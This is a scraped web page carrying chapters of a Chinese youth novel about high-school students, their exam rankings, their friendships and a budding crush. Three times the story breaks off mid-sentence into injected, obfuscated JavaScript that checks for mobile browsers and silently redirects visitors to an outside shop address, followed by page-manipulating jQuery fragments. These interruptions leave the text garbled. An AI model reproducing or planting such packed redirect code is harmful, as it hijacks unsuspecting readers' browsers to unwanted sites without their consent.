她的高中生活就这么正式开始了。 上课、下课、留作业、收作业……各科老师带着鲜明的个人风格轮番登场,几天下来,东篱夏努力调整着自己的节奏,试图在预习、听课、整理笔记和做浩如烟海的练习册之间找到平衡,却依然常常觉得时间不够用。 她注意到,有好几位科任老师莫名都对虞霁月格外关注,化学老师更是直接问虞霁月愿不愿意当化学课代表,却被她找了个由头婉拒了,顺便提名了一下贺疏放。 上史地政这些文科课程时,即使老师们三令五申了会考的重要性,大多数二班同学依然在课上偷偷写着理科作业。老师们心里也有数,清北班选文科的学生往往不会太多,一个班能有五个就顶天了。 唯一有意思的事发生在地理课上。 地理老师讲到地球生命的起源时,笑眯眯地抛出一个问题:“前后桌的同学可以简单讨论一下,你们认为,为什么在茫茫宇宙中,偏偏是地球上产生了如此丰富多彩的生命?” 东篱夏转过头,和贺疏放大眼瞪小眼,贺疏放耸耸肩,两个人一起回头看向后面的虞霁月和周益荣,周益荣也摇了摇头。 三双眼睛齐刷刷看向虞霁月,虞霁月乐了,张口就胡诌八扯,“我知道,因为盘古开天地。清气上升为天,浊气下降为地,中间不就生出万物来了?” 随即贺疏放和周益荣都低低笑起来,东篱夏也抿着嘴忍笑。 课间贺疏放大多数时候都会去骚扰何建安,东篱夏一般会和虞霁月聊点闲天。午饭的时候,甄盼就会在教室门口等她,两个人一起向着食堂冲锋。 她发现甄盼的朋友圈很广,什么地方总能遇到和她热情打招呼的人。甄盼大多数时候是和自己的同桌形影不离,但可惜她同桌跟虞霁月一样,家里天天送饭,不在食堂吃,于是她固定的饭搭子就成了东篱夏。 东篱夏对此并不排斥,只要跟甄盼在一起,她从来不用担心冷场,甄盼总有说不完的趣事,并且非常懂得分寸,从不过多探问东篱夏的私事,两个人的关系保持在舒适的距离内。 她这几天渐渐察觉到一个规律——甄盼在食堂挑座位时,总是能精准地挑在距离贺疏放和何建安那桌不远不近的地方,既方便看何建安,又不会近到让何建安立刻撤离,而且每次都一定会选择面对何建安的方向坐下。 又可爱又有点好笑。 过了两三天,东篱夏实在忍不住了,“何建安吃饭有什么好看的?他吃得那么素,表情也差不多。” 在她看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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洛宓似乎有些意外她会联想到这个,依旧温和地笑着,“谢谢,你的名字也很好听。” “洛宓就是何建安的同桌,她爸爸就是咱们班数学洛老师。”甄盼在旁边补充道。 洛宓笑了笑,和她们柔声道了再见,倒完餐盘便离开了,高挑的背影和出尘脱俗的气质格外出挑,和喧嚣的人潮格格不入。 东篱夏总觉得,洛宓身上有一种说不清道不明的清冷疏离感。 甄盼倒完餐盘,挽住她的胳膊,朝着食堂外面走去,“洛宓初中就安安静静的,洛老师在家管她挺严的,压力肯定不小。” 东篱夏点头应着,心里却忍不住想象洛宓和何建安一桌的画面:一个高冷寡言,一个清冷出尘;一个沉浸题海,一个安静地做着自己的事。 他们会交流吗?何建安会对洛宓也那么惜字如金吗? 甄盼喜欢何建安喜欢到每天在食堂偷偷看人家吃饭,却对于大美女和他一桌这件事又真的完全不在意。 “我喜欢他,是我的命题,他喜不喜欢我,是他的命题。” 她又想起甄盼在走廊里说的话。 要是换成自己喜欢的男生有这么漂亮的同桌,她必定会在心里反复自我否定,最后远远躲开。 东篱夏心里很清楚,她太容易被别人的眼光和潜在的比较困住了。 “发什么呆呢?”甄盼晃了晃她的胳膊,两个人又一次走到了楼下小卖部门口,“上次说请你吃乐事薯片来着,你喜欢吃啥味儿的?反正我喜欢黄瓜味。” 东篱夏回过神来,把脑海里乱糟糟的东西暂时打包塞到角落,跟着甄盼挤进熙攘的小卖部,不忘真心实意地夸赞一句,“仙品,我也最爱吃黄瓜味的。” 江大附中果然什么样的人都有。 有盛群瑛、奚华年那样光芒万丈,好像不需要太用功就能取得很好成绩的天之骄子,有贺疏放那样偏科严重却执着所爱的怪才,有虞霁月那样古灵精怪不按常理出牌的大师,现在又有了洛宓这样清冷又神秘的谪仙人,还有甄盼这样小太阳一样勇敢无畏的探险家。 而她自己,又矫情,又敏感,又自卑,又自负,在这些人中间小心翼翼地观察着,学习着,也被无声无息地影响着。 甄盼结完账,撕开一袋薯片,直接拿出一片送到她嘴边,东篱夏先愣了一下,然后从善如流地吃了进去,两个人相视一笑。 路还长着呢,没准她也会在江大附中找到真正的自己呢。 东篱夏嚼着薯片,默默地想。 14. 肤浅不肤浅? 周四下午最后两节,是江大附中高一年级统一的体活课和班会课。 关于体活课,在十年前江大附中是所有老师都是统一战线的,如今倒是明显分了两派。 一派赓续优良传统,更重视校训中学生的自由全面发展,不该学习的时候就打着大扫除的旗号,要求教室里不留人,把学生强制赶到操场上玩,不到体活课结束不许回来;另一派则明里暗里鼓励学生,课间、午休晚休、体活课都留在教室里自习。 十年前的江大附中简直是江城初中生梦想中的天堂。即使到了高三,每天依旧坚持四点半放学,周末不用加课,成山成海的练习册即使发下去,也不会有老师强制盯着学生做题的进度,实打实的自由发展。 直到一座衡水模式的私立高中英航在江北崛起。 其实英航的崛起满打满算也就不到十年,中考生源也远不如江大附中,每年考上清北的人数却已经能和江大附中掰手腕。 为了和英航竞争,不知道从什么时候开始,江大附中的学生午饭和晚饭不能出校门吃,晚自习也和其他高中一样要上到晚上九点半,社团活动时间越砍越少,周六更是从高二开始就要求学生“自愿”到校自习。 越来越多的老教师被南方沿海城市高薪挖走,给户口,安置住房,解决子女上学问题…… 何以江附? 如今已经很难有人能回答了。 就这么三四天,东篱夏已经发现,柳鸿显然独立于传统派和衡水派中,自成一派。 如果让她给起个名,她更乐意称之为混日子派。 不得不说,柳鸿是个不错的生物老师,业务能力扎实,也是全江城知名的生物金牌竞赛教练。 但柳鸿好像压根没把自己当班主任。 除了刚开学那天选了班干,她几乎没在除了生物课以外的其他时间见过柳鸿,完全放权给了周益荣和甄盼两个班长。甄盼也经常跟东篱夏吐槽,她每次去办公室找柳鸿,十次能找到两次就算万幸的了,有什么事,基本都是隔壁一班的班主任通知的。 体活课前两节是生物连课,柳鸿依旧那样,先随意嘱咐了两句周益荣好好组织值日生扫除,就哼着小曲儿不知道溜达到哪里去了。 选择完全被交到了东篱夏自己手里。 是留在教室把数学新精编上没弄懂的题再抠一抠,还是出去透透气? 东篱夏踌躇地环顾教室,大约一半的同学已经放下了笔,三三两两地结伴离开了。剩下的多是像她一样面露犹豫,在短暂的张望后,又毅然决然埋首题海。 奚华年依旧倚在门口笑着等盛群瑛,盛群瑛拿上球拍,两个人就又笑语晏晏地并肩下楼了。 犹豫间,甄盼不知道什么时候闪现到了她面前,“走呀,下楼溜达一圈去。” “吓死我了,”正愣神的东篱夏被神出鬼没的甄盼下了一大跳,“你同桌呢?怎么不跟她一起?” 甄盼撇了撇嘴,直接上手挽她的胳膊,“她去图书馆学习了,好不容易能有一节自由时间,我才不要去图书馆。走嘛,夏夏。” 东篱夏被她拉着,半推半就地往楼下走。 操场上人满为患,甄盼就像在何建安身上装了追踪定位器一样,拽着她就往升旗台旁边的小二楼走,“走走走,何建安在那呢。” 东篱夏顺着她指的方向望去,果然看见何建安混在一群打篮球的男生里做着热身,又瘦又高,动作看上去很不协调。 简直就像竹节虫一样,东篱夏在心里偷偷想。 她想不明白,甄盼对零食那么有品味,怎么偏偏在挑喜欢的男生上,品味这么……独特呢? “他要打篮球?”东篱夏忍不住脱口而出。 打篮球这种需要激烈跑动和身体对抗的运动,她实在想不出这只竹节虫在球场上的样子。 “去看看不就知道了?”甄盼笑得狡黠,不由分说地拉着她爬上了升旗台旁边的小二楼。东篱夏觉得这里确实是个好地方,视野开阔,能将半个篮球场尽收眼底,并且人少,聊天不容易被外人听到。 站定后,东篱夏往何建安所在那半片篮球场望去,很快就发现了另一个熟悉的身影——贺疏放。 他也在。 她跟何建安正和二班其他几个男生一起打半场,穿着新发的校服里面的蓝白T裇,头发不像在教室里那样服帖,明显凌乱了些,额发被汗水浸湿,几缕贴在额角,正试图运球突破对面的防守。 东篱夏仔细回忆起来,贺疏放似乎很爱笑。 他连看自己扣了十八分英语试卷的时候都能苦笑出来,但大多时候,都是那种对什么都无所谓的笑,只有沉浸在《无机化学》里的时候,脸上才没有什么表情。 如此外放而蓬勃的快乐,她却好像从来没在贺疏放脸上看到过。 甄盼轻轻碰了碰她,示意她看何建安。 何建安身高臂长,站在篮下本该多少有点优势,但反应总是慢半拍。贺疏放一个漂亮的传球,篮球朝着何建安飞过去,他就那么直愣愣地看着,也不去接。 竹节虫竟然如此不灵活。 东篱夏有点想笑,但甄盼就站在自己旁边,她又不敢笑。 “看吧,”甄盼倒是先笑了出来,“何建安打得是真不怎么样。” 东篱夏点点头,注意力却又不由自主地飘回了贺疏放身上。他刚完成了一次快攻上篮,转身和跑过来的队友用力击掌,笑容在夕阳下甚至有点晃眼睛。 就在这时,甄盼忽然凑近她,“不过客观来说,贺疏放打篮球也挺帅的哈?” 东篱夏的心漏跳了半拍。 确实很帅。 她被这突如其来的感觉弄得有点手足无措,立刻在心里骂了自己一句:东篱夏,有没有点出息!怎么可以这么外貌协会,肤浅不肤浅! 与此同时,球场上的贺疏放似乎感觉到了什么,中场休息时忽然抬起头,目光正好对上小二楼甄盼和东篱夏的方向,似乎愣了一下,随即抬起手,朝着这边随意地挥了挥,头发湿漉漉贴在额头上,脸上带着未散的笑。 东篱夏吓了一跳,像做坏事被抓包一样,下意识往后缩了一下,差点撞到甄盼。 “他好像看到我们了?”甄盼倒很坦然,还笑着朝下面挥了挥手。 “大概吧……”东篱夏含糊地应着,不去再看贺疏放,脑子里却还是刚才惊鸿一瞥的瞬间——他那张好看的脸,脸上明亮的笑容,还有他格外清亮的眼睛。 东篱夏其实并不真的在意这节体活课自己到底在做什么,是学习还是闲逛,更本不应该在乎篮球场上谁打得好,谁打得坏。她下楼的初衷,只是为了陪着甄盼,去哪都不要紧。 看了一会儿,甄盼似乎有些腻了,伸了个懒腰:“走吧,去小卖部买点喝的,渴了。” 两人溜达着去了小卖部,甄盼从冷饮柜里拿了瓶可乐,东篱夏犹豫了一下,还是没忍住,又拿了一个cici果冻。 买完东西往回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957788|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走,在一楼的楼梯口,差点和一个人撞个满怀。 是周益荣。 他跑得气喘吁吁,额头上都是汗,脸上倒是红光满面,看到东篱夏和甄盼后立刻刹住脚步,表情玩味,“哟,甄盼,我正找你呢。真巧,东老师也在啊!” “什么事?”甄盼问道。 东篱夏心里咯噔一下,瞬间有了一种不太好的预感。 “开学摸底考试出分了!柳老师还没回来,沈婕校长已经排名表放他桌子上了,我刚去看了一眼。” 该来的还是来了。 周益荣咂了咂嘴,一脸惋惜,“东老师,你是不是没发挥好啊,咋才考班级第四,学年十三名?” 班级第四,学年第十三。 平心而论,她对这个结果是满意的。她见识了盛群瑛这种顶尖高手的游刃有余,在一千个人的学校里能排到第十三名,已经相当超出她的预期了。 至少,她没有一落千丈,更没直接掉到中下游去,证明她暑假的挣扎和痛苦没有完全白费,她还有在这个高手圈里挣扎的资格。 周益荣完全没注意到东篱夏的内心戏,继续像报菜名一样报排名,“学年第一是一班的韩慎谦,第二是咱班盛老师,第三是个平行班的学霸,叫什么我忘了。第四第五都是一班的,一个叫奚华年,就总和盛老师打羽毛球的那个,一个叫明知晚,好像和虞老师是一个初中的。第六第七是平行班的,第八是咱班何老师,第九是虞老师。十到十二也都是平行班的。你正好第十三。” 把封神榜盘点了一遍之后,周益荣喘了口气,半开玩笑半认真地跟东篱夏说:“不过说实话啊,大家本来都以为你怎么也得考个学年前三呢,你东老师的名号可要不保啊。” 来了。 从这一刻起,那些关于状元是不是昙花一现的议论,将不再是她的臆想、 她不怕自己失望,她甚至能接受自己不过如此。 她怕的是别人的失望,怕的是别人那些压根不该属于她期待落空后,尽数转化为幸灾乐祸的目光。 她自己可以悄悄松一口气,觉得还好没掉太远,但外界不会给她这个“还好”的空间,他们只会继续用状元的标尺来衡量她,得出她已经跌落神坛的结论。 东篱夏脑子完全懵住了,不知道应该回些什么,旁边的甄盼却忽然笑了,大眼睛眨了眨,语气天真又无辜:“诶周益荣,说了这么多,你考了多少名啊?” 周益荣脸上的表情僵了一下,似乎没料到甄盼会突然问这个,“我?我排了咱班第七,学年第十八。” “哦——”甄盼拉长了声音,同样用半开玩笑半认真的语气怼了回去,“那东篱夏前面好像也没有你啊。” 空气瞬间安静了一秒。 周益荣脸上的笑容有点挂不住了,他看了看甄盼,又看了看东篱夏,一时判断不出甄盼这话是单纯的好奇,无心的玩笑,或者是故意怼他。 他最终只是干笑两声:“呵呵,是啊,还得努力……” “那啥,我先下去给盛老师报喜了!”说完,转身又风风火火地跑出了教学楼。 甄盼拧开可乐,咕咚喝了一大口,翻了个大大的白眼,“什么人呢,叫那些学习好的就一口一个老师,叫我就叫大名,真会看人下菜碟。” 说完,又重新挽住她的胳膊,“走吧,回教室。” 东篱夏任由她拉着往楼上走,脑子里只剩下两个数字。 班级第四,学年第十三。 15. 我天下呢?! 甄盼拉着东篱夏走到四楼拐角,正好碰上刚从办公室出来的柳鸿。 柳鸿柳看到她们,目光很自然地落在了甄盼身上,很自然地把手里的成绩单递过来,“甄盼,正好,你帮忙把这个贴到教室前面黑板上,刚出的摸底考详细成绩,让大家自己看看,心里有个数。” “好嘞,柳老师!”甄盼爽快地接过,笑容灿烂。 柳鸿点点头,又像是才注意到旁边的东篱夏,随意地看了一眼,没多说什么,再次背着手哼着小曲,踱步回了办公室。 两人拿着成绩单走回教室,甄盼贴好成绩单,就开始率先品鉴起来。 “夏夏,你猜我到底能考班级后十还是后二十。”甄盼好像已经有了心理准备,手指顺着名单从下往上点,“我去,班级32,学年96,总分444,这啥啊!” 语文120满分,数英物化各100,满分520,甄盼扣了将近80分。 东篱夏看甄盼的反应,“啊”了一声,脑子里飞快转着安慰她的话。 没想到甄盼反而乐了,“444,这成绩多不吉利啊!” “啊?”东篱夏懵了一下。 “虽然分数不咋吉利,不过反正我是擦边考上来的,能挤进前一百就挺不错了!幸运之神果然每次都会眷顾我!” 果然,好心态决定人的一生。 东篱夏也凑过去看,第一排就是盛群瑛的名字,520分满分,她打了494,位列学年第二。 数学98,物理100,化学100,英语94,语文102。 盛群瑛,胜群英。 果然神女就是神女,东篱夏在心里暗暗想。 盛群瑛都这么逆天了,才考学年第二名,那考学年第一的韩慎谦又得什么样? 她不敢在往下想。 班级第二何建安已经排到了学年第八名,打了483分,数理化都和盛群瑛一模一样,可惜文科太差,英语88,语文97。 挺像何建安能考出来的分。 紧随其后的就是虞霁月,与何建安仅一分之差,成绩倒是对比鲜明。数学90,物理96,化学97,英语93,语文106,好像是语文单科的年级最高分。 然后东篱夏看到了自己。 班级第四,总分478。 她屏住呼吸,目光飞快地扫过各科成绩,数学90分,比她预想的好;物理98,竟然没失误;化学95,虽然还是弱项,但没崩盘;英语93,作文看来有惊无险;语文102,她记得自己前面选择错了不少,全靠作文和阅读撑着。 这个分数确实比她自己预估的要好上那么一截。 目光继续下移,她才发现清北班的竞争远比初中残酷,初中时一分可能并列好几个人,但在江大附中,分数却开始明显分层。 她又往下看了几眼,很快找到了贺疏放的名字。 班级19,学年52,总分456。 数学91,物理98,化学100,英语77,语文90。 …… 她好像明白了为什么周阿姨也执着于让贺疏放和她坐一桌。 极致的优势,极致的短板。 东篱夏觉得贺疏放的微信名就应该改成学学英语或者学学语文。 更多留在教室里的同学挤上了讲台,教室里已经响起了低低的议论声,有人惊喜,有人叹息,有人不动声色。她本来还想再看一眼确认些细节,却慢慢被急于知道自己排名的同学们挤到了外围。 她退到一旁,几个男生的议论声格外清晰: “快看最后一名,我去,330分?怎么考出来的?” “啥啊,倒数第二名还四百分呢,这分数在咱们班属于珍稀动物了吧?” “哪个高人啊这是?” 这些人真欠。 东篱夏不自觉地皱起了眉头,在心里嘀咕。 人家考得差本身就够难受了,还要被这样公开议论。 就在这时,另一个男生赶紧肘击了刚才说话的人一下,压低了声音,“嘘,小声点!人家洛宓是数学老师的亲闺女,借读的!你想被老洛穿小鞋啊?” 议论声顿时小了下去,变成了心照不宣的嘀咕。 东篱夏心里一紧,下意识地望向教室角落,洛宓依然静静地坐在那里,面前摊着练习册,手里握着笔。 但她很久没有动笔了。 窗外的光斜斜地打在她身上,给她周身镀上了一层金边,形成一片真空,隔绝了周围嘈杂亢奋的声浪。 她听见那些人说的话了吗? 东篱夏不清楚。 洛宓,洛神甄宓。 传说中的洛水之神,姿容绝代,惊才绝艳,终究飘零于命运的波涛,身不由己。她惊人的美丽和才华,也成了被书写传唱释的符号,并不属于她能自己主宰的人生。 眼前的洛宓又何尝不是呢? 她拥有让东篱夏都过目难忘的出众容貌和优雅气质,名字也蕴藏着古典的诗意。在众人眼中,她天然地应该承袭父亲的数学天赋,理所当然该成绩优异。 她和洛神一样,因非凡而被瞩目,却也因瞩目被架上了高台,迎接着无数看客的评头论足。 东篱夏忽然想起,甄盼和贺疏放都说过,洛宓是借读生,本可以不在这里,不承受清北班赤裸裸的竞争和比较。 是因为父亲是老师,所以必须在这里,必须面对这一切吗? 就像自己,因为顶着状元的名头,所以必须时刻准备接受所有人的审视? 一个因为血缘被绑定了期待,一个因为一次考试被架上高台。 某种程度上,她们都被困住了。 她们都站在属于自己的小笼子里,听外面的人管笼子叫神龛。 喧闹还在继续,东篱夏收回目光,轻轻叹了一口气。她帮不了洛宓,就像也没人能真正帮她卸下状元的包袱。 摸底考试出分,也意味着封神榜出现了大洗牌。 盛群瑛这次学乖了点,没再踩着预备铃,提前两分钟就拎着羽毛球拍回来了。立刻有好几个同学围了上去,大多数就是单纯就是想和神女大人说上几句话。 何建安和贺疏放也被周益荣的大嗓门从不知道哪个角落喊了回来,挤到黑板前。 何建安个子高,一眼就扫到了自己的成绩,脸上没什么表情,倒是有个男生凑过去,试图跟他搭讪,何建安还是没什么好脸色,只简短回了几个字,态度冷淡,那男生就讪讪走开了。 贺疏放站在何建安旁边,看着成绩单,用胳膊撞了他一下,“行啊,不是跟我说你语文考的不好吗,最后给我整个97?” 何建安目光从成绩单上移开,落在贺疏放脸上,语气带着点嫌弃:“满分120,97很高吗?你先别管我,有这功夫,赶紧想想怎么整整你那语文英语吧,这两科班级后十名都快保不住了。” 说完,他顿了顿,又补充道,“你化学不是能考满分吗?正好给你同桌补补化学,再求求你同桌教教你英语。我刚看了,她化学95,连班级平均分都没到。” 平均分? 东篱夏站在讲台旁边,心里一咯噔。 她之前只顾着看自己的总分和排名,根本没注意平均分这回事。 她连忙又凑近些,在成绩单下方的小字里寻找——化学平均分:95.3。 ……真没到。 贺疏放听了何建安刀子嘴豆腐心的一番话,也没生气,转过身,目光对上了正有些尴尬站在一旁的东篱夏。 他刚打完篮球,额发湿漉漉的,看到东篱夏,他先是下意识地后退了小半步,不好意思地笑了笑,解释道:“那个,我刚打完球,身上都是汗,别离你太近。” 东篱夏微微一怔。 没想到啊,还挺细心。 两人一前一后走回座位,贺疏放坐下后,脸上堆起一个有点讨好甚至可以称得上谄媚的笑容,笑眯眯看着东篱夏。 东篱夏被他看得心里发毛,不知道他要干什么。 “那个,东老师,”贺疏放搓了搓手,语气格外客气,“商量个事儿呗?” “……有事说事,别叫老师。” “英语整理本借我抄抄呗?”贺疏放的笑容愈发谄媚起来,“Christine让咱们整理卷子上拓展的那些词组,我当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957789|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时全记卷子上了。” 说完,他从桌堂里乱翻一通,抽了出自己过于狂野的英语试卷,指了指空白处天书一样龙飞凤舞的笔记,“你看,这字我自己都快不认识了。马上要交了,行行好……” 东篱夏这才想起,Christine确实布置了这项作业。 她学习习惯好,课上就直接记在专门的本子上了,不仅抄了老师讲的,课后还自己查了维克多词汇书,补充了相关词法。 看着贺疏放可怜兮兮又充满期待的眼神,东篱夏心里叹了口气。 这大哥怎么还跟她玩上美男计了? 她把自己的英语整理本递了过去,好言相劝道,“最好还是自己准备个笔记本,总这样临时记在卷子上,复习的时候也不方便。” 贺疏放双手郑重接过她的笔记本,如获至宝,连连点头:“你说得对!我明天就去买!保证!” 贺疏放答应得十分认真,立刻摊开自己的本子,对照着东篱夏的笔记,一笔一划地抄了起来。 东篱夏表面摊开数学学案开始做,眼角余光却偷偷观察着贺疏放。 她担心自己好言也劝不住该死的鬼,如果他抄得太快,明显就是不过脑子应付作业。 但看了一会儿,东篱夏发现贺疏放抄得挺慢,偶尔会停下来掏出维词,对着东篱夏补充的词法注释皱眉思考片刻。 看来贺疏放至少是过脑子了,她也算行善积德一件。 班会课的上课铃并没能立刻让班里安静下来,直到柳鸿板着脸大步走进来,喧哗声才略微平息下来。 柳鸿站在讲台上,明显是很不满意,语速都比平时快了不少,“成绩都看到了吧?自己什么位置,心里有没有点数?” “我实话告诉你们,远远不如一班!一班学年前十进了三个,而且位次都比咱们班靠前!咱们班呢?盛群瑛考第二,是不错,后面呢?直接断层了!” “大家都是中考前一百名考进来的,这次学年前一百,咱们班只有三十二个!卡到谁后面了?这说明什么,说明你们一个暑假过去,松懈了,掉队了!人家一班的学习氛围和劲头,你们自己比比!” 他倒也没拿自己的工作态度和一班班主任比比。 柳鸿话锋一转,直接开始点名:“尤其要说说语文,咱们班理科成绩还行,语文英语平均分比一班低了五六分!看看人家一班的韩慎谦,语文103,就比咱们班盛群瑛高一分!但这一分,就是第一和第二的区别!” “看看你们的成绩,何建安,理科几乎全满分,语文英语怎么能考这么差?你们初中没听过吗,得语文者得天下,到了高中,数理化高手云集,差距往往就在语文!必须高度重视起来!” 又来了,得语文者得天下。 所以,她的天下呢? 得语文者得天下这种鬼话,都是对盛群瑛和何建安那些理科能打到接近满分的人来说的。 柳鸿训斥了一通,大概是看到底下不少学生已经蔫了,语气稍稍缓和下来,“当然,这次考试主要还是以初中知识为主,夹杂了一点高中内容,算是给大家一个下马威,也让大家看清差距。考得好的别骄傲,高中课程深度和广度还没完全展开,考得不理想的也别灰心,找到问题,迎头赶上。高中三年,一切皆有可能。” 最后,他似乎又想起了什么,特意强调:“另外,我发现最近几天,总有同学晚饭不去食堂,在教室里吃泡面啃面包!这像什么话?泡面那东西,没营养不健康不说,还一股味儿!你们十六七岁,正是长身体耗脑子的时候,饮食必须跟上!都给我按时去食堂吃饭,再让我发现,小心我联系你们家长,问问他们知不知道孩子天天在学校吃泡面!” 东篱夏在心里默默吐槽:柳老师,您说得轻松。我们高一比高二高三晚下课十分钟,何况我们两个清北班还在四楼顶楼,等我们跑下去,黄花菜都凉了。不吃点泡面充饥,难道晚自习饿着肚子刷题吗? 但这话她也只敢在心里说说。 柳鸿的训话结束,又恢复了“当一天和尚撞一天钟”的佛系态度,把周益荣叫到讲台上维持纪律,自己又迈着不紧不慢的步子不知道去哪了。 16. 安娜塔西亚 晚自习的预备铃刚刚打响,虞霁月怀里揣着什么东西,踩着点气喘吁吁跑了进来。 东篱夏定睛一看,是一桶还没拆封的泡面。 贺疏放明显也看到了,语气满是不可思议,“我去,还真是撑死胆大的饿死胆小的,柳鸿刚才还重点强调不准吃泡面,你就顶风作案啊?” 虞霁月把泡面往桌堂里一塞,顺了顺气,压低了声音,“你想想,柳鸿既然这么郑重其事地强调不让吃泡面,那说明什么?” 说明泡面不健康呗! 然而虞霁月大师显然不这么想。 “说明肯定有很多人在吃啊!既然有很多人吃,那这玩意必然是好吃的。我家里管得严,没怎么正经吃过泡面,正好今天柳鸿说了,我就去小卖部买了一桶,尝尝呗!” “……” 东篱夏和贺疏放都被她这通神逻辑给镇住了,一时竟无言以对。 东篱夏哭笑不得,问道,“要是真被柳鸿发现了,找你家长怎么办?” “那他也得能找到人才行。”虞霁月答得含糊,一脸“我自有分寸”的表情。 东篱夏甚至觉得,虞霁月手里拿的压根不是什么泡面,而是直接在伊甸园的树上薅下来的苹果。 正式铃响,教室门被推开,语文老师付观亭走了进来。付观亭刚刚四十岁出头,是二班所有老师里面最帅的,特别有一种旧式文人的板正,说话字正腔圆很标准,带着点播音腔,东篱夏尤其爱听。 “大家开学摸底的作文,我都仔细看过了。你们刚从初中毕业,没太写过议论文也是正常,所以我们没把难点放在审题上,立意很明确,和庄子精神自由的思想有关。” “文章见心性,虽然是一次应试作文,但也能窥见些东西。有两篇文章让我印象格外深刻,作者分别是咱们班的霁月同学和篱夏同学。” 看有同学的目光投向她们的方向,东篱夏下意识地低下了头,不敢看付观亭。 “霁月的文章很有灵气,想象奇绝,修辞也很大胆有新意,标题直接用了朱敦儒的‘我是清都山水郎’,能在寻常立意中辟新径,很难得。” 夸完虞霁月,付观亭斟酌着词句,“篱夏的文章又是另一种风格,从反面探讨了关于不自由的命题,角度新颖,思考有筋骨,字里行间能感受到一种向内审视的恳切,在同龄人的习作里不多见。” 被付观亭用这么高的评价赞美了一顿,东篱夏脸上有点发烫,心里却更惶恐起来——如果付老师知道她前面选择题错得一塌糊涂,会不会很失望? 付观亭看向两人,语气温和,“霁月,篱夏,我想问问你们,愿不愿意担任语文课代表,协助我收发作业,有时候组织一下课堂讨论,也带动些班里的语文学习氛围。” 这个邀请多少让东篱夏有些猝不及防。 付观亭好像和其他那些不知道为什么格外关注虞霁月的理科老师不同,他提到虞霁月时,很明确的表示欣赏她的灵气和才气,而选择课代表的标准,似乎也并不仅仅是看分数,好像更看重文字本身传递出来的东西。 虞霁月爽快地答应了下来,东篱夏也在付观亭鼓励的目光中点了点头。 “好。”付观亭颔首,没有多余的废话,直接开始上课。 晚课的内容是成语辨析,东篱夏原以为,这些东西背背就得了,没想到付观亭真能挨个讲引经据典,拆解字源,把一个个容易用错的成语讲出道理来。 讲到“差强人意”时,他特意强调,“‘差’在这里是稍微、大致的意思,‘强’是振奋。合起来,是大体上还能使人满意,很多同学容易误解为不能使人满意,考试也经常会考。” 东篱夏听着,心思却神游天外。 柳鸿知不知道这个成语的真实含义呢?她忍不住想。 他刚才对班级成绩那么不满意,但如果用“差强人意”来形容,似乎也说得通。毕竟班级里还有三十二人在前一百,盛群瑛考了学年第二。 那她自己呢? 这个班级第四、学年十三的成绩,在她自己心里,其实也是差强人意——大体上,还能让她自己满意。 可是,会不会有很多人,就像误解了成语的意思一样,也误解了她的处境? 他们用着“差强人意”这个词,心里想的却是“不太令人满意”,全觉得自己这个状元考砸了,考得令人失望? 尽管付观亭的课讲得很好,但东篱夏后半节课的思绪,总是不由自主地飘向这个微妙的问题。 下课铃响了,付观亭什么都好,就有一样爱压堂的坏毛病,完全无视了下面等着吃完饭等得猴急的豺狼虎豹们,过了能有半分钟才终于宣布下课。 东篱夏和贺疏放几乎同时松了口气,准备起身冲向食堂。就在这时,身后突然传来“跨嚓”一声,像是什么纸质的东西被暴力捅破了。 两人动作一顿,齐齐回头。 只见虞霁月手里拿着一把剪刀,而她面前那桶泡面的封盖,正中央赫然出现了一个规整的裂口,她正对着那个裂口,表情有点困惑,似乎在研究什么。 贺疏放:“……” 东篱夏:“……霁月,你干啥呢?” 虞霁月抬起头,一脸无辜,晃了晃手里的剪刀,“这个盖手撕不开啊,太结实了,反正最终目的不都是打开嘛,我就用剪刀捅了一下。” 东篱夏简直不知道说什么好。 “泡面不是这么泡的,那个纸盖是用来让叉子扎住,密封住热气的。你把它捅破了,热气都跑了,面怎么泡得开啊!” “诶呀,你说得对啊!”虞霁月恍然大悟,有点尴尬地看着破开的盖子和手里孤零零的叉子,伸手在桌堂里一顿摸索,掏出来了江附学生人手一本的《维克多英语词汇》。 “这个够重,够密封,压上面行不行?” 东篱夏看着那本Christine口中的“BlueBible”,在虞霁月眼里只是一个用来压泡面的一时语塞,竟不知该从何吐槽起。 贺疏放在旁边憋笑憋得肩膀发抖。 这么一闹腾,时间又过去几分钟,等他们反应过来,别说食堂,小卖部估计都快被扫荡一空了。甄盼对吃饭向来积极,跟东篱夏打了个招呼就没影了,何建安大概也等不起贺疏放,一个人悄然离开。 东篱夏和贺疏放对视一眼,都从对方眼里看到了今晚怕是要饿肚子的无奈,打算破罐子破摔,去小卖部看看还有没有剩下的面包或者饼干。 “哎,等会儿!”虞霁月忽然叫住他们,弯腰从自己座位底下拎出一个巨大的保温饭桶,“差点忘了,我家里人天天晚课前给我送饭,我要是吃泡面的话,这个就吃不下了。” 她把饭桶往自己的桌子上一放,拍了拍,“你们吃这个吧!我家里人做饭量可足了,保证够你们俩吃饱!就当是为我耽误你俩吃饭赔罪了吧。” 东篱夏和贺疏放看着身后桌子上巨大的饭桶,又看了看彼此。 